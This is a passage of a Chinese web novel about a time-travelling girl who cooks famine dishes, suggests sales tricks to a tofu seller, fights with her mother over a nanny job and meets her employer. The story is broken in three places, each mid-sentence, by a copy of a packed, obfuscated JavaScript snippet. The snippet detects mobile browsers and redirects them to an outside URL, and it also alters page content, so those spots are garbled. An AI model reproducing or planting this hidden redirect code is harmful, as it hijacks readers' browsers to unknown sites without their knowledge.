《掌柜她要卷死餐饮同行(美食)》 1. 商业奇才幼年体 榕树巷里,三个孩子团团蹲着,围着一颗鸡蛋发愁。 鸡蛋很小,不比大顺在喜鹊窝儿里掏到的鸟蛋大。盖因今年乡下发蝗灾,粮食减产,河头县粮价菜价一日高似一日,人况且没有粮食吃,鸡们更只能捡些糠皮烂菜,蛋自然也下得小。也正因此,对许久不见荤腥的孩子们来说,这颗鸡蛋弥足珍贵。 大顺叹气,说:“要是有三颗蛋就好了,我们一人一个,那才吃得过瘾。” 蛋是陈瑞安带来的,她说:“就这一个,还是我趁掏鸡蛋的时候偷偷扣下来的呢。今年我家里的鸡下的蛋,全被我娘拿去换钱买米了。” 阿亭温声细语地说:“有一个就已经很好了,多亏小安,我今年还没吃过蛋呢。” 三个人、一个蛋,要怎么分才好? 煮白煮蛋么,一人还分不到一口,不够塞牙缝的;蒸鸡蛋羹么,好吃是好吃,只是一滑滑到嗓子眼,实在不解瘾;炒鸡蛋么,这么小一个蛋,炒不出来两筷子,净沾锅底了。 陈瑞安说:“我家里只有红薯和红薯叶,和鸡蛋配不到一块儿去。” 大顺说:“我家什么余粮也没有,今天中午全吃完了。我娘还嫌我们呢,说‘半大小子,吃穷老子,家里四个半大小子,比蝗虫还可怕些。’” 阿亭说:“我家里也只有红薯和红薯叶,还有豆渣。豆渣实在太噎了,如今我弟弟一见豆渣就哭,别说他,我都有些怕吃饭了。”阿亭娘是个寡妇,靠走街串巷卖豆腐讨生活,因此阿亭家里有吃不尽的豆渣。 陈瑞安冥思苦想:“红薯、红薯叶、豆渣……啊,有了!阿亭,我们去你家,我有办法,把一个鸡蛋变成三个鸡蛋!” 大顺奇道:“难道你会变法术不成,一个鸡蛋怎么能变成三个鸡蛋?除非把鸡蛋孵出小鸡,小鸡长大再下蛋,那怎么也得大半年了。” 陈瑞安说:“山人自有妙计。” 一行人走到阿亭家的厨房,阿亭揭开一个坛子,给小伙伴们看:“喏,豆渣都在这里了。” 陈瑞安探头一看,果然装着满满一摊子豆渣。今早新用纯黄豆磨出来的豆渣,洁白如雪,绵软细腻,凑近了能隐隐闻到醇厚的豆香。 豆渣不仅香,而且营养十分丰富,是正儿八经用粮食做出来的东西。然而豆渣豆渣,坏就坏在一个“渣”字,吃进嘴里又干巴又粗糙,满嘴的渣,口感十分糟糕,说是难以下咽也不为过;咽下去吧,脖子伸出二里地了,它还卡在喉咙里不肯下去呢。 陈瑞安舀了一大碗豆渣备用,又把一个红薯洗净切块。锅中烧开水,把豆渣红薯架进去蒸。她又挑了一小棵嫩嫩的红薯叶,只取梗部,洗净后掰掉较老的茎,切成碎碎的小丁。红薯叶切好了,豆渣和红薯块也蒸好了,起锅烧油,把豆渣倒进去,炒至干松。 万事俱备,这时,就该请出那颗珍贵的鸡蛋了。陈瑞安把鸡蛋敲入碗中,加盐打散,倒进锅里,和豆渣一起翻炒,再次炒至松散状。为了充分利用鸡蛋液,陈瑞安特意盛出一点豆渣洗了洗打蛋的碗,再倒回锅里。然后,加入切碎的红薯叶梗、盐、一丢丢酱油,再撒入一把院子里现摘的葱切的葱花,出锅装盘,豆渣炒鸡蛋就做好了。 豆渣还剩一点,可以再做一道菜。红薯块用饭勺压成泥,加入剩余的豆渣和一勺生粉,和匀,用手团成一个个鹌鹑蛋大小的丸子,再次起锅烧油,煎至外皮金黄酥脆,就可以出锅了。 两道菜端上桌,大顺和阿亭瞬间两眼放光。 阿亭惊喜地说:“看起来就好好吃啊,小安,你真厉害!” 大顺更是激动地喊道:“你还真把一个鸡蛋变成三个了!” 满满一盘的豆渣炒鸡蛋,每一颗豆渣上都均匀地裹满了蛋液,色泽金黄,可不是正像一大盘炒鸡蛋?红薯叶梗和葱花青翠欲滴,点缀其间,更令人食指大动。 大顺迫不及待地夹了一筷,送入口中。 陈瑞安问:“怎么样?” “好鲜!又松又软,蛋味儿也重,真的像炒鸡蛋,太过瘾了!”大顺嘴里还在咀嚼,含混不清地答道。 阿亭也夹了一筷子,细细咀嚼,眼睛骤然一亮:“一点都不噎了!有蛋香、豆香,还有葱香和红薯叶的香气,没想到,豆渣也能这么好吃!” 在阿亭慢慢品味豆渣炒鸡蛋的时候,大顺已经风卷残云般又吃了两颗红薯豆渣丸子,兴奋地说:“这个也好吃,外面一层脆壳,里面是软软糯糯的,有点像过年炸的萝卜丸子,不过是甜口的。” 阿亭的小弟弟阿力午觉刚醒,远远闻到香味,睡眼惺忪地就跑过来要吃。阿亭拿小碗分了一点给他,他困得眼睛睁不开,小鸡啄米似的,吃一口点一下头,几个大孩子盯着他,笑得前仰后合。 大快朵颐,吃了八成饱后,孩子们开始说闲话。 阿亭对陈瑞安说:“小安,谢谢你,我们才能吃到这么好的东西。” 陈瑞安被夸得不好意思,说:“别光谢我呀,也谢谢大顺。这颗鸡蛋原本是我拿来谢大顺帮我找工作的,大顺讲义气,说要跟我们一起分着吃。” 阿亭惊喜地问:“成了呀?就是帮学堂舒先生照顾女儿的那个?” 大顺笑着插话:“大成特成!我跟舒先生说,小安是瑞平哥的妹妹,舒先生一听,立马说瑞平哥家教好,再合适不过了。舒先生说,明日学堂休沐,请小安先去他家里见一见,先认认路。” 阿亭羡慕地说:“一千五百钱吧?这活儿真好,我娘起早贪黑,卖上一个月的豆腐,也才挣三贯多钱,如今黄豆涨价、买的人也变少了,更赚不到钱了。要不是阿力在家里没人照顾,我也出去找份活儿干一干了。” 大顺忙说:“我就是想到这个,不然论照顾孩子,没人比你更能干了。” 陈瑞安也说:“可不是么,舒先生待遇开得公道。关键是十分轻松,他家里另雇了一个老妈子,洗衣做饭一概不用,只需陪着孩子玩一玩,管她起居吃饭即可。其实,除了薪水,我还看重这份工作包早中两顿饭。今年粮价这么高,你们家里多少还有两分薄田,我家一点田地都没有,就院子里能种点青菜,不够吃的就要拿钱买。我想着,光这早中两顿饭,就可以给家里省下不少。” 阿亭点点头:“而且陈爷爷的药钱又那么贵,你家日子原本就不好过。小安真棒,这么快就能帮金花婶分忧了。” 陈家爷爷患有卒中,是早在张金花嫁到陈家、生出瑞平瑞安兄妹俩之前的事了。当时,爷爷修养一些时日后,好了大半,只是口齿有些含混。但卒中之症,哪有不复发的?在陈瑞安三岁时,陈家爷爷终于彻底不能自理,从此以后,吃喝拉撒,俱离不开人。为了爷爷的病,陈瑞安的爹把家里的田地都卖了,凑出一笔本钱,从此常年在外跑生意,赚爷爷的药钱和一家老小的吃穿;陈家奶奶负责照顾陈家爷爷,张金花则负担着陈家里里外外的家务。 陈瑞安说:“不说这个了,一想到明天要去见舒先生,我就紧张得直咽口水。阿亭,你家豆腐不好卖么?” 阿亭说:“是呀。我娘说,从前一天能卖三板豆腐,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117775|164203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到中午就卖完回来了;如今上午下午都出去卖,两板豆腐还卖不完呢,只好带回来便宜卖给街坊们。” 陈瑞安说:“我帮你想一个办法。既然剩了也是便宜卖,不如再外面就便宜卖掉,早些卖完早些回来,否则你娘也太辛苦了。你娘卖豆腐的时候,可以买一块送半块,大家都爱占便宜,一听有这么好的活动,原本不打算买豆腐的,这下也买了。” 阿亭想了想,说:“可这也太便宜了,恐怕收不回本钱吧?” 陈瑞安说:“提价呀!你家豆腐原本卖八文钱一块,如今卖十文一块,这样算下来,其实每块豆腐才便宜了一文多钱。别人问起来,就说最近黄豆涨价了,豆腐自然也得跟着涨。更重要的是,你娘做两板豆腐是做,做三板豆腐也是做,并不多费很多事。这么一卖,虽然单价低了,但是销量却涨了,总的算下来,岂不是赚得更多?” 阿亭被绕得头晕,想了半天,才恍然大悟:“好像是这样。” 陈瑞安接着说:“我还有一计。你家的豆腐,每天要产出这么多豆渣,你们又吃不完,隔日酸了就得倒掉,倒不如送给买豆腐的人,也是看准人家爱占便宜的心理。让你娘吆喝的时候,就吆喝‘买豆腐送豆渣’,豆渣虽然不好吃,但是不要白不要呀。原本买别家豆腐的人,也许就来买你家的豆腐了;原本不买豆腐的人,一合计,也许就买了。” 大顺在一旁听得目瞪口呆:“小安,你是个天才吧?” 阿亭由衷赞同:“等我娘回来我就把这些都告诉她。小安,你真该去做生意,一定能发财!” 陈瑞安心道,我不是什么天才,无非是穿越过来,比你们多知道一些现代商家的诡计罢了! 三人洗过锅碗瓢盆,又说了一阵话,不知不觉,日渐西斜。 忽然,阿亭竖起耳朵,说:“小安,我好像听见金花婶在喊你。” 陈瑞安仔细听了听,果然听见张金花高声叫她的声音。陈瑞安奇怪道:“咦,别人家还没上烟呢,怎么我家今天这么早吃饭?”说着,陈瑞安站起身,拍拍手上的灰:“你们玩吧,我先回去了。” 陈瑞安跑回家,只见她哥陈瑞平已经从衙门回来,正在院门口来回踱步。 陈瑞平今年十八,曾跟着舒先生上过几年学,去年新考上了县衙门贴写的职位,也就是衙门的临时工,如今做些抄录和整理文书的活儿。薪俸虽然不高,但胜在稳定体面;他又长得眉清目秀,文质彬彬,在本地媒婆间颇为热门。 然而在陈瑞安看来,亲哥陈瑞平是个古板又无趣的的书呆子,实在不值得媒婆们前仆后继地上门说亲。 陈瑞安奇怪道:“你不回家,站在门口干什么?” 陈瑞平见了陈瑞安,停下脚步,犹豫而关切地问道:“小安……” 见了亲哥的神情,陈瑞安暗道不好,问:“娘知道我偷鸡蛋的事了?” 陈瑞平说:“你还偷了鸡蛋?我不是说这个,是我今天回来在路上遇到舒先生了。” 陈瑞安心道不妙,古人说走为上计,她拔腿就要跑。 然而张金花早就听见动静,立马冲出来,眼疾手快,一把拽回了豆芽菜似的陈瑞安。 陈瑞安只好谄笑道:“娘,这不巧了吗?这事儿呢,我也是刚刚听说,正想着回来告诉您呢!” 张金花冷笑一声,把陈瑞安拎进院子里,反手关上大门,还顺带插上了门闩。 她端出一把太师椅,往院子中央一放,稳稳坐下,抬手一指地面,厉声道:“跪下!” 2. 红薯叶是用来喂猪的 陈瑞安吓了一跳,赶紧认错说:“娘,我错了,我不该自作主张。” 然而张金花不为所动,依然喝道:“跪下!” 陈瑞安心里觉得自己并没有犯什么大错,既然已经道歉,张金花还抓住不放,于是也犟起来了,不肯跪,说:“娘,你发这么大火干嘛呀!我就是想着,那边能管两顿饭,少我一张嘴,大家都能吃好点儿嘛!” 张金花横眉道:“怎么,我是饿着你了,你要跑到别人家里去讨饭吃?” 陈瑞安道:“饿倒是没饿着,可是家里这一顿顿的,除了红薯就是红薯叶,怎么吃呀?” 张金花冷笑一声,说:“就你挑嘴,红薯叶好吃得很!我就爱吃红薯叶。” 陈瑞安说:“大顺家里的红薯叶都是用来喂猪的,我们吃的这是猪食。” “我看你是个猪!为了贪一口肉,去别人家里做下人,脸都不要了!你还偷蛋,教你的道理都教到狗肚子里去了!”张金花气得眉毛都立起来,见陈瑞安不跪,干脆站起身,抄起一把扫帚,说:“我问你,我把你养这么大,让你管过全家人的饭没有?” 陈瑞安觉得娘说话太难听,气得不想理,别过头去。 张金花又问:“我让你洗过全家人的衣服没有?” 张金花三问:“照顾爷爷你沾过手没有?” 张金花说:“你到街坊邻居家里问问,哪怕比我们家宽裕的人家,谁家女孩子是不干活的?我把你这么娇生惯养地养了十二年,是图什么?是为了让你到人家去伺候人的?” 陈瑞安辩解道:“不是伺候人,是……唉哟!” 见张金花高高扬起扫帚,陈瑞平赶紧出来拉架,护在陈瑞安身前,说:“娘!别打!小安这么大了,不兴打孩子了!”又转头对陈瑞安说:“小安,快跟娘认个错!” 这么一打岔,陈瑞安倒想起来了,这事的始末中还有陈瑞平这号多管闲事的告密者,骂道:“你跟娘打小报告,叛徒!装什么好人!” 张金花只觉得陈瑞安不知好歹,听得更气了,还要打。趁有人控制住张金花,陈瑞安赶紧一溜烟地逃回自己的房间,闩上房门。 张金花犹在外面踹门说:“开门!” 陈瑞安又不傻,当然不会开门。她把头蒙进被子里,过了一会儿,外面就没了声响。 在床上滚了几圈,陈瑞安脑袋上的血开始往下降,心里委屈又懊悔。 陈瑞安想赚钱,其实并不像娘说的,是为了“贪一口肉”,而是真心希望家里的日子能好过一些。 张金花惯孩子,是远近闻名的。瑞平瑞安兄妹俩,除了偶尔洗碗喂鸡搭把手,从来不过问家里的粗活。其实有陈家爷爷这样一个重担,陈家的家务远比别家繁重,但张金花一手抗下,不叫孩子们过问。 早三四年,陈瑞平尚在学堂上学,张金花的娘家亲戚来家里,跟张金花唠闲嗑儿:“金花呀,不是我说你,我家丫头比你家小安还小半岁,每天做饭呀,熬猪食呀,干得好得很!你这样养丫头,什么都不会干,将来不好嫁人的呀!” 张金花登时脸色阴下来,冷冷地说:“我家丫头有福气,将来也不用一天到晚地干活。” 亲戚没眼色,接着说:“谁家媳妇不干活嘛!咱们又不是什么坐绣楼的小姐,穷人都是劳碌命呀,还是得从小做习惯了。我都是为了孩子好呀!” 当时的陈瑞安也就刚比灶台高一丢丢,正忙着整日在外面和小伙伴玩。这个故事,是大顺娘告诉她的。 大顺娘是远近闻名的河东狮,骂街是一把好手,但她讲述张金花的英勇事迹时,眼中透露出钦佩之色:“你娘一脚踢翻了她坐的凳子,这只手拿着扫把,那只手拿着簸箕,就这么——”大顺娘做了个扫地的动作,“把那个女人连推带赶地扫出去了!哎哟哟,扫出去以后,她把门一关,那个女人就站在门外面,足足骂了半个时辰!” 大顺娘说:“小安哪,有这么个娘护着你,你命是真好。” 陈瑞安也觉得自己命好。 上辈子,陈瑞安爹不疼娘不爱,还以为所有人都和她一样,事事只能靠自己;直到穿越到陈家,陈瑞安才有了家的感觉。虽然哥哥是个呆子、奶奶整天阴阳怪气、爷爷口齿含混话都说不清楚,但无一不是真心疼爱自己,更别说有如此护犊子的娘了。张金花虽然爱生气,但总是雷声大雨点小,拿个软趴趴的扫帚打屁/股,其实一点儿也不疼。 前些天,陈瑞安半夜起来上茅房,发现娘还在院子里,就着月光洗衣服。再定睛一看,衣服并不是自家人的。 陈瑞安于是明白过来,娘是在帮人洗衣赚钱。 陈家衣食住行,全靠在外辛辛苦苦跑生意的爹。跑生意固然赚得不算少,但一多半都用在了爷爷的药钱上。张金花在吃上讲究,一家人都要吃饱、吃好,平日开销也比别家多,存不下什么钱。 彼时,陈家十顿饭里,大约只吃一顿红薯;后来,红薯愈来愈多,青菜也慢慢变成红薯叶。陈瑞安明白,粮价还在涨,即使拼命洗衣赚钱,娘也逐渐支撑不住了。 于是,听说有个一个月一千五百钱的工作机会,陈瑞安忙不迭地托大顺去问;听说此事可成,陈瑞安十分欣喜。 不为贪吃,只希望娘能少熬夜、少洗两件衣服啊。 厨房里,张金花气冲冲地炒菜,把锅铲敲得锵锵响。 陈瑞平听得战战兢兢,但还是秉着作为大哥的责任心,鼓起勇气,上前劝慰道:“娘,您别生气了,我看小安也不是有意瞒您。” 张金花不耐烦道:“你懂个屁!我气的是她瞒我吗?” “啊?”陈瑞平懵了,“那您是气什么?” “说了你也不懂。”张金花懒得跟陈瑞平解释,“去给我抽筷子。” 陈瑞平正要拿筷子,转身看见奶奶走进了厨房,是来送爷爷吃过的碗。陈瑞平埋怨道:“奶奶,娘要打小安的时候,您也不出来帮忙劝劝。” 奶奶悠悠地说:“该打,劝什么。” 陈瑞平还欲再说,张金花高声喊道:“吃饭!” 半晌,门才咯吱一声打开,正是陈瑞安从房中出来。 虽然心怀歉疚,但陈瑞安并拉不下脸向娘道歉。她掐算着时间,估摸着饭菜已经端上桌,才磨磨唧唧地走到餐桌前。 提起筷子,陈瑞安才发现,餐桌上除了红薯和红薯叶,还放着一盘煎豆腐。 豆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117776|164203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腐一看就是从阿亭娘那里买来的,阿亭娘做的豆腐,盐卤放得大方,做出来紧实有嚼劲。张金花把豆腐切成三角形的厚片,菜籽油一煎,两面都金灿灿黄澄澄,外脆里软,香得没边。张金花爱吃辣,还拨了一勺辣椒酱在盘子角。辣椒酱是自家做的,加了蒜蓉和豆豉,夹块豆腐沾一沾,能下半碗饭——不对,今天没有饭,只有红薯——能下三块红薯。 娘虽然嘴硬,但一听女儿不爱吃红薯叶,立即去买了豆腐来煎。陈瑞安见了这盘豆腐,心一下子软了。 张金花见陈瑞安盯了豆腐半天,硬是没夹,以为她还赌着气呢,于是夹了一块到陈瑞安碗里。 陈瑞安更感动了,正打算狠狠抱一下娘母女情深重归于好,谁料—— 张金花板着脸说:“我以后不天天做红薯叶了,你不许去。” 陈瑞安逆反心理一下子就上来了,立即把刚刚的感动抛到九霄云外:“我不!你为什么不让我去?我靠自己的劳动挣钱,有什么不可以的?” 张金花一拍桌子:“反了你了!老娘把你养这么大,倒养出个丫鬟来了,你不嫌丢人,老娘还嫌丢人呢!” 两人大眼瞪小眼,谁也说服不了谁。 剑拔弩张之际,奶奶叹了声气,说:“金花,算了吧,儿大不由娘呀。你也是做孩子过来的,孩子要做的事,当娘的拦得住吗?让她去吧。” 听着婆婆的一番话,张金花愣了一会儿。看了眼陈瑞安,又看了眼陈瑞平,她最终轻轻叹了口气,对陈瑞安说:“你大了,我也管不住你了。”说完,不再多看陈瑞安一眼,沉默地吃着饭。 既然张金花先认了输,陈瑞安也不想再吵下去;只是有气没处撒,如同一拳打到棉花上,虽然如愿,但只觉心头憋屈又酸涩。 两人各怀各的心事,食之无味。 翌日,陈瑞安早早起床,洗漱整齐,准备去舒家拜访舒先生。 出门时,陈瑞安经过在洗衣服的张金花,不知是故意还是没有听见,娘并没有看她。 无论娘的态度如何,陈瑞安心想,只要能挣到钱、娘就能轻松些,一家人就能过得好些,至于别的,也就都无所谓了。 舒先生家离陈家有半条街的距离,比陈家更偏僻些。 舒家耕读传家,据传,舒先生的父亲深有陶潜遗风,分家时,既不要大宅子,也不要能挣钱的铺子,只要了远远的一大片田地。在舒家宅子周围,目之可及的田地,全是舒先生的资产。田产固然是最牢靠的好东西,然而毕竟生不了钱,舒先生一家比起其他旁支,简直可谓清贫了。 但对于陈瑞安来说,舒先生家就是妥妥的大户人家了。那么多的田!但凡分个一二十亩给陈家,遇到这样的荒年,一家人也不必吃糠咽菜了。 穿过长长的田垄,陈瑞安终于走到舒家宅子面前。 宅子比想象中更简朴,甚至可以说有些破败,青瓦白墙,墙头无甚装饰,墙角有雨水打出的灰痕和青苔,显出几分陈旧。大门朱漆剥落,门上一块牌匾,写着“隐庐”二字。院内传出咚咚的捣衣声,大约是舒家雇的那个老妈子正在洗衣。 陈瑞安叩响铜环,宅内立马有一个女人的声音应道:“来了!” 3. 舒小姐还柱走 那女人推开一道门缝,陈瑞安见她约莫四十几岁,膀大腰圆,脸庞好似一个月亮,眉毛蹙着,不大好惹的样子。她用攀膊束起衣袖,手上还滴着水珠。 女人警惕地上下打量了陈瑞安一番,问:“你是舒先生说的,要来照顾小姐的那个?” 陈瑞安答是,女人这才道:“进来吧,你先站在这儿别动,我收拾一下,领你进去。”说着拉开门,把陈瑞安让进前院。 陈瑞安自从穿越过来,一直在竹篱茅舍间打转,还未曾进过这种正儿八经的宅子,好奇地四处张望。前院不大,除了一间门房,其他房门都上了锁,看来不常有客人来。虽然冷清,倒是十分整洁,犄角旮旯里也没有堆放杂物。 前院与内院间有一扇梅花窗,影影绰绰能看见内院里有一棵大树。陈瑞安还欲再细看,那女人擦了手过来,皱眉说:“别看了,鬼头鬼脑的,跟我过来吧。” 女人引着陈瑞安进了内院,一径走到西厢房前,敲了敲门,舒先生在房内应道:“请进。”女人进去回话,叫陈瑞安先不要动。 陈瑞安不敢动,悄悄回头看院子里的那棵树,原来是棵银杏树,比榕树巷那棵榕树要小不少,但是打理得当,树冠的型很漂亮。再定睛一看,树下站着一个小女孩,想必就是七岁的舒小姐。 这位舒小姐身量不高,有些瘦弱,皮肤倒是白得发光,眉眼淡淡的,小嘴红红的,穿着粉粉绿绿的漂亮小衣服,好像一个玉娃娃。 见舒小姐也好奇地看着她,陈瑞安朝舒小姐友好地笑了笑。舒小姐给她笑得腼腆起来,躲到树后头去了,只探出一只眨巴眨巴的小眼睛。 这时,那女人回完话,出来说:“舒先生请你稍等,先同小姐玩一会儿,他作着文章,不好打断,即刻就来见你。我先出去忙了,我姓刘,小姐叫我刘婶,有事你喊我。”刘婶斜着眼睛又看来陈瑞安几眼,回前院洗衣服去了。 刘婶简直像个斜睨眼(斜视),从不正眼瞧人,态度实在算不得友善。钱难挣屎难吃,这是亘古不变的道理,为了钱,也只好忍着吧。 不必受刘婶审视,陈瑞安终于感到轻松些,走向院中央那棵银杏树,安心陪可爱小孩玩。 见陈瑞安靠近,舒小姐整个小人儿缩到树后;陈瑞安绕着树转圈找她,她也绕着树转圈藏。 陈瑞安哭笑不得,这怎么还演上“荆轲刺秦王”了!荆轲刺秦王,秦王还柱走,这里没有柱,倒是有一棵树。 见不到舒小姐,陈瑞安心生一计,假意说道:“哎呀,这是哪里飞来一只蝴蝶呀?我还没见过这么蓝、这么大的蝴蝶呢,真漂亮。” 果不其然,舒小姐从树后探出了小脑袋。陈瑞安假装手里捧着蝴蝶,转过身去,不让她看见:“唉哟,这蝴蝶翅膀一扇一扇的,应该是想飞走吧?” 蝴蝶飞走可就看不到了,舒小姐着急,也顾不得那么多了,跑到陈瑞安面前找蝴蝶。 陈瑞安蹲下,摊开手,手心躺着一颗桑皮纸包着的糖。揭开桑皮纸,里面是一颗琥珀色的梨膏糖,上头还裹着细密的霜花。 小孩子哪有不爱吃糖的?如陈瑞安所料,舒小姐见了糖,开开心心地接过,放进嘴里,早把蝴蝶抛到九霄云外了。 梨膏糖是用鸡毛从卖糖翁那里换的。俗话说,梨膏糖“三分卖糖,七分卖唱”,卖糖翁摇着拨浪鼓,唱着自己编的小曲儿吸引顾客,走到哪里,孩子们就跟到哪里。有孩子要买糖,他就从担子里取出一板,用特制的刀敲成一个个方方正正的小块,手法娴熟,榕树巷里的孩子们都爱围着看。梨膏糖由梨汁混着川贝、甘草等草药熬出,生津润肺、益气清火,小孩子也吃得。含一块在嘴里,外脆里绵,甜而不腻,清冽的梨香带着些凉意,直往喉咙里钻,爽口又解馋。 舒小姐人虽小,大约也懂得些吃人嘴短的道理,不仅不再躲了,还主动自我介绍起来:“姐姐,你叫什么名字?我叫青青。”说着,拾起一根小树枝,在银杏树边的土上,划拉出“舒青”两个大字,写完丢下树枝,用小手勾住陈瑞安的手,拉她过来看。 这两个字写得十分端正,陈瑞安不懂书法,只觉得横是横、竖是竖,大气得很。陈瑞安由衷赞叹道:“你的字写得真好看。我叫陈瑞安,耳东陈,瑞雪兆丰年的瑞,平安的安。” 青青小姐被夸得得意,说:“这是颜体。爹爹要我每天练一个时辰的字,可累了。”又捡起树枝,在旁边写了“陈瑞安”三个字。 刘婶人虽在前院,心却记挂着里面还有个“外人”,透过梅花窗一看,正好逮到两个孩子顽皮,赶紧从窗子里伸出一张嘴:“别给她玩土!弄脏了衣服,难洗得要命。” 陈瑞安正要答,舒先生开了西厢房的门,向陈瑞安挥挥手,和善地说:“你进来。”又向舒小姐道:“青青,今天的字练了吗?回房去练字。” 虽然在家常听哥哥和大顺说舒先生如何如何,但陈瑞安还是头一回见到活的舒先生。舒先生比陈瑞安想象中要年轻,十分儒雅,同舒小姐长得有七八分像,只是嘴唇更薄些,看起来更严肃;又因教了多年的书,自有一种不怒自威的气质,陈瑞安三分紧张一下子变作五分。 进了西厢房,陈瑞安暗自猜度,这应该是舒先生的书房:地上堆着许多书箱,除了窗边一张书案,没有一件家具,更无花瓶、字画等装饰,简直可以说是家徒四壁了。 舒小姐每日要练字,想必需要有人看管着功课。陈瑞安心想,这年头的女孩子少有上过学的,如果能让舒先生知道我有识字这一项本领,岂不是可以加些印象分? 于是,陈瑞安指着书案上反摊着的一本书,笑道:“《大学》,这本书我家里也有,是我哥哥学过的,第一句我还会背呢。大学之道,在明明德,在亲民,在止于至善。” 舒先生果然感兴趣,问:“你识字?” 陈瑞安说:“认识,但是认得不全,小时候哥哥在学堂里学了,就带回来教我,图个好玩。” 才怪。陈瑞安上辈子是正儿八经的大学生,虽然离满腹经纶还差得远,但怎么可能不识字?陈瑞平要教她认字,她正乐意为识字这件事找个借口,跟着胡乱学一通,只用一炷香的时间,就学完了陈瑞平一天的课业。陈瑞平大惊失色,还以为是自己愚笨非常,愈发埋头苦读。陈瑞平读书能读出一点名堂,合该算陈瑞安一分功劳。 舒先生说:“那很好。认识些字,就好比比别人多一只眼睛,有大益处。” 陈瑞安笑说:“那我成二郎神了。” 舒先生也笑:“我从前听你哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117777|164203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥说过,你们的父亲在外经商。家里老人身体都还好吧?” 陈瑞安老老实实答:“我爷爷卒中,卧床快十年了,奶奶身体还很好。” 舒先生啊了一声,低头不知想些什么,半晌才说:“照料病人不容易,你家里人很了不起。你来我们家做事,家里大人都同意吧?” 陈瑞安睁眼说瞎话:“同意同意,他们都很支持,说来舒先生家见见世面,挺好。” 舒先生道:“那好,我看你识字,青青平日练字做功课,辛苦你督促着她些。一月给你开两贯钱,每月月初结清;巳时起,酉时止,总共四个时辰,学堂五日一休沐,有我在家,你也跟着学堂的日程一起歇一歇;早饭中饭,辛苦你陪着青青吃,她吃饭不老实,晚饭时我已经回家,你也回去陪家里人吃。平日我不在家,我夫人身体不大好,不管事,有什么不清楚的,尽管问你刘婶。” 原本说是一千五百钱,陡然变成两贯,陈瑞安喜出望外,同舒先生议定了明日就来上工,兴高采烈地回了家。 为了明天清清爽爽地去迎接新工作,陈瑞安决定洗个头。 现在正是夏天,洗头最方便,打一桶水,早上拎出来晒上半天,就足够暖和;洗完了,坐在院子里,不出半个时辰就能全晒干。 陈瑞安要洗头,不得不在院子里洗;张金花要干活儿,也不得不在院子里干。 张金花一言不发,默默地给菜地浇了水、喂了鸡、择好了晚上要吃的红薯叶,全当没看见院子中间还有个有些挡路的人。 陈瑞安也一言不发,即使发现忘了拿擦头发的巾子,也当没看见有个现成的张金花,向屋里喊奶奶帮她拿。 喊了好几声,也没把奶奶喊出来,陈瑞安湿着头发又不好行动,十分尴尬。 张金花已经做完院子里的活儿,冷哼一声,也不看女儿一眼,端着红薯叶径直进了屋。 陈瑞安硬着头皮,又喊了几声奶奶,过一会儿,奶奶才拿着巾子,款款地出来了。 陈瑞安接过巾子,嗔道:“奶奶,您是故意装听不见的吧?” 奶奶不承认,含糊其辞:“我人老耳朵聋。” 陈瑞安才不信,撇着嘴擦了头发,拉过椅子来坐下,开始晒头发。 奶奶说:“娘儿俩一样的犟。巾子是你娘告诉我你要,让我给你拿出来的。” 陈瑞安不想承娘的情,装没听见。 奶奶又说:“你生下来那天,我抱在怀里一摸,头发又黑又硬,跟个刺猬一样。那个时候我就知道,等你长大了,肯定跟你娘一个脾气,倔。” 陈瑞安说:“您肯定记错了,谁家孩子生下来头发像刺猬?那怎么也得好几十天大了。” 奶奶问:“你知道你娘为什么生气吗?” 陈瑞安说:“为我不跟她商量就自己做决定呗,我都这么大了,她怎么还什么都要管呀?哦,对了,还为觉得我伺候人丢她的脸了。劳动最光荣,我凭自己双手赚钱,怎么就丢脸了,她懂不懂呀?” 奶奶摇摇头:“不对。” 陈瑞安想不出来别的原因了:“那还能是为什么?” 奶奶嘿嘿一笑,端了把椅子坐在陈瑞安旁边:“来,我来给你说道说道,你娘年轻时候的故事。” 4. 红烧肉不吃肉只吃土豆 自打记事起,张金花就在照顾弟弟妹妹了。 张金花一共有四个妹妹、两个弟弟。 还没有摇床高的时候,她就在哄弟弟妹妹睡觉,后来是洗尿布,再后来是做饭喂饭……看着张金花一天天长大,爹娘就一件件将这些事务移交到她的肩上。 大姐么,要有大姐的样子。 当张金花长成少女时,在农忙的季节,她就需要同爹娘一起下地干活了——弟弟妹妹当然也不能落下,要把他们带到地里看顾。 家里孩子多,爹娘不得不在几亩薄田里苦苦耕耘,希望能用精细的照顾来换取更高一些的产量,供全家人果腹。娘即使在怀孕八九个月,肚子大得弯不得腰了的时候,也依然要下地干活。她因此失去过两个孩子。 爹娘太累了,每天眉头紧蹙着,无暇来关心这一个接一个的孩子们。 